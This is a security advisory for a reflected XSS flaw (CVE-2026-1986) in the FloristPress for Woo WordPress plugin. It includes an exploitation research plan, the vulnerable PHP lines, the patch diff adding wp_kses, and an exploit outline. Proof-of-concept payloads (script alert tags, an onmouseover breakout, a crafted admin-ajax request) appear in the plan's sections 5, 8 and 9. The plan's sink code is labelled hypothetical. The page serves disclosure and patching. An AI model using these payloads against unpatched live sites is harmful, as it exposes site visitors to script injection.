FloristPress for Woo <= 7.8.2 - Reflected Cross-Site Scripting via 'noresults' Parameter
Description
The FloristPress for Woo – Customize your eCommerce store for your Florist plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'noresults' parameter in all versions up to, and including, 7.8.2 due to insufficient input sanitization and output escaping on the user supplied 'noresults' parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=7.8.2What Changed in the Fix
Changes introduced in v7.8.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1986 - FloristPress for Woo Reflected XSS ## 1. Vulnerability Summary The **FloristPress for Woo** plugin (<= 7.8.2) is vulnerable to **Reflected Cross-Site Scripting (XSS)** via the `noresults` parameter. This occurs because the plugin accepts a user-supplied…
Show full research plan
Exploitation Research Plan: CVE-2026-1986 - FloristPress for Woo Reflected XSS
1. Vulnerability Summary
The FloristPress for Woo plugin (<= 7.8.2) is vulnerable to Reflected Cross-Site Scripting (XSS) via the noresults parameter. This occurs because the plugin accepts a user-supplied string via the URL to customize "no results" messages (likely for suburb or delivery searches) and echoes it back into the page without proper sanitization or escaping using functions like esc_html().
2. Attack Vector Analysis
- Endpoint: Any front-end page or post containing the
[bkf_suburb_search]shortcode. - Parameter:
noresults(GET parameter). - Authentication: Unauthenticated (Public-facing).
- Preconditions: A page must exist that processes the
noresultsparameter, typically one utilizing the plugin's search shortcodes. - Vector:
http://<target>/suburb-search/?noresults=<script>alert(document.domain)</script>
3. Code Flow
- Entry Point: A user accesses a URL containing the
noresultsparameter. - Shortcode Execution: The WordPress engine parses the
[bkf_suburb_search]shortcode, which is registered insrc/core/shortcodes.phpand instantiated in the main plugin file (new BKF_Shortcodes()). - Vulnerable Logic (Inferred): Inside the
BKF_Shortcodesclass (likely the method handlingbkf_suburb_search), the code checks for the presence of$_GET['noresults']. - Sink: The code echoes the value of
$_GET['noresults']directly into the HTML output to display a custom "no results found" message to the user, bypassing security filters.- Hypothetical Code:
$msg = isset($_GET['noresults']) ? $_GET['noresults'] : __('No results found', 'bakkbone-florist-companion'); echo '<div class="bkf-search-notice">' . $msg . '</div>';
- Hypothetical Code:
4. Nonce Acquisition Strategy
This is a Reflected XSS in a GET parameter used during page rendering.
- Nonce Requirement: None. The vulnerability is triggered during a standard page load (
GETrequest). Nonces are generally not used for reflecting URL parameters in view-only logic.
5. Exploitation Strategy
- Identify Target Page: Create or identify a page containing the
[bkf_suburb_search]shortcode. - Construct Payload: Create a URL-encoded XSS payload.
- Payload:
<script>alert('XSS_VULNERABLE')</script> - Encoded:
%3Cscript%3Ealert('XSS_VULNERABLE')%3C/script%3E
- Payload:
- Execute Request: Use the
http_requesttool to request the page with the malicious parameter. - Observe Reflection: Inspect the HTML response to confirm the script is rendered unescaped.
6. Test Data Setup
To ensure the shortcode is active and the parameter is processed:
- Create a Page:
wp post create --post_type=page --post_title="Suburb Search" --post_status=publish --post_content='[bkf_suburb_search]' - Enable Plugin Features: Ensure the main "FloristPress" features are active (though shortcodes are usually active by default upon plugin activation).
7. Expected Results
- Response Body: The raw HTML response should contain the string
<script>alert('XSS_VULNERABLE')</script>literally, rather than the escaped version<script>.... - Execution: If viewed in a browser, a JavaScript alert box would appear.
8. Verification Steps
- Automated Request:
// Use http_request to fetch the page const response = await http_request({ url: "http://localhost:8080/suburb-search/?noresults=<script>alert('XSS')</script>", method: "GET" }); // Check if the payload is reflected unescaped if (response.body.includes("<script>alert('XSS')</script>")) { console.log("Vulnerability Confirmed: Payload reflected unescaped."); } - Source Code Inspection: Use
grepon the plugin directory to find the exact sink:grep -rn "noresults" /var/www/html/wp-content/plugins/bakkbone-florist-companion/src/core/
9. Alternative Approaches
- Attribute Injection: If the parameter is reflected inside an input value or HTML attribute, use a breakout payload:
- Payload:
" onmouseover="alert(1)" type="text - URL:
?noresults=%22%20onmouseover%3D%22alert(1)%22%20type%3D%22text
- Payload:
- AJAX Reflection: If the parameter is reflected in the AJAX search results rather than the initial page load, test the
wp_ajax_nopriv_bkf_search_suburbs_frontendaction found insrc/core/ajax.php.- Request:
POST /wp-admin/admin-ajax.php - Body:
action=bkf_search_suburbs_frontend&s=nonexistent&noresults=<script>alert(1)</script>
- Request:
Summary
The FloristPress for Woo plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'noresults' and 'header' parameters in the `search_suburbs_frontend` AJAX action. This occurs because the plugin echoes user-supplied input without proper sanitization or escaping, allowing unauthenticated attackers to execute arbitrary web scripts if they can trick a user into clicking a crafted link.
Vulnerable Code
// src/core/ajax.php (line 1571) if (count($result)) { $resulthtml = '<h2 class="bkf-suburb-search-results-header">'.stripslashes($_REQUEST['header']).'</h2>'; --- // src/core/ajax.php (line 1580) } else { $resulthtml = '<div class="bkf-suburb-search-results-noresults"><p>'.stripslashes($_REQUEST['noresults']).'</p></div>'; }
Security Fix
@@ -1571,7 +1571,7 @@ } } if (count($result)) { - $resulthtml = '<h2 class="bkf-suburb-search-results-header">'.stripslashes($_REQUEST['header']).'</h2>'; + $resulthtml = '<h2 class="bkf-suburb-search-results-header">'.stripslashes(wp_kses($_REQUEST['header'])).'</h2>'; foreach ($result as $suburb => $methods) { $resulthtml .= '<div class="bkf-suburb-search-results-item"><h3><strong>'.$suburb.'</strong></h3><ul>'; foreach ($methods as $method) { @@ -1580,7 +1580,7 @@ $resulthtml .= '</ul></div>'; } } else { - $resulthtml = '<div class="bkf-suburb-search-results-noresults"><p>'.stripslashes($_REQUEST['noresults']).'</p></div>'; + $resulthtml = '<div class="bkf-suburb-search-results-noresults"><p>'.stripslashes(wp_kses($_REQUEST['noresults'])).'</p></div>'; } echo $resulthtml; die();
Exploit Outline
The exploit targets the public AJAX action `bkf_search_suburbs_frontend`. An attacker can craft a URL pointing to `wp-admin/admin-ajax.php` with the `action` parameter set to `bkf_search_suburbs_frontend`. By supplying a malicious script in the `noresults` (for failed searches) or `header` (for successful searches) parameters, the script is reflected back into the response body and executed in the victim's browser context. Authentication is not required as the action is registered for unauthenticated users via `wp_ajax_nopriv`.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.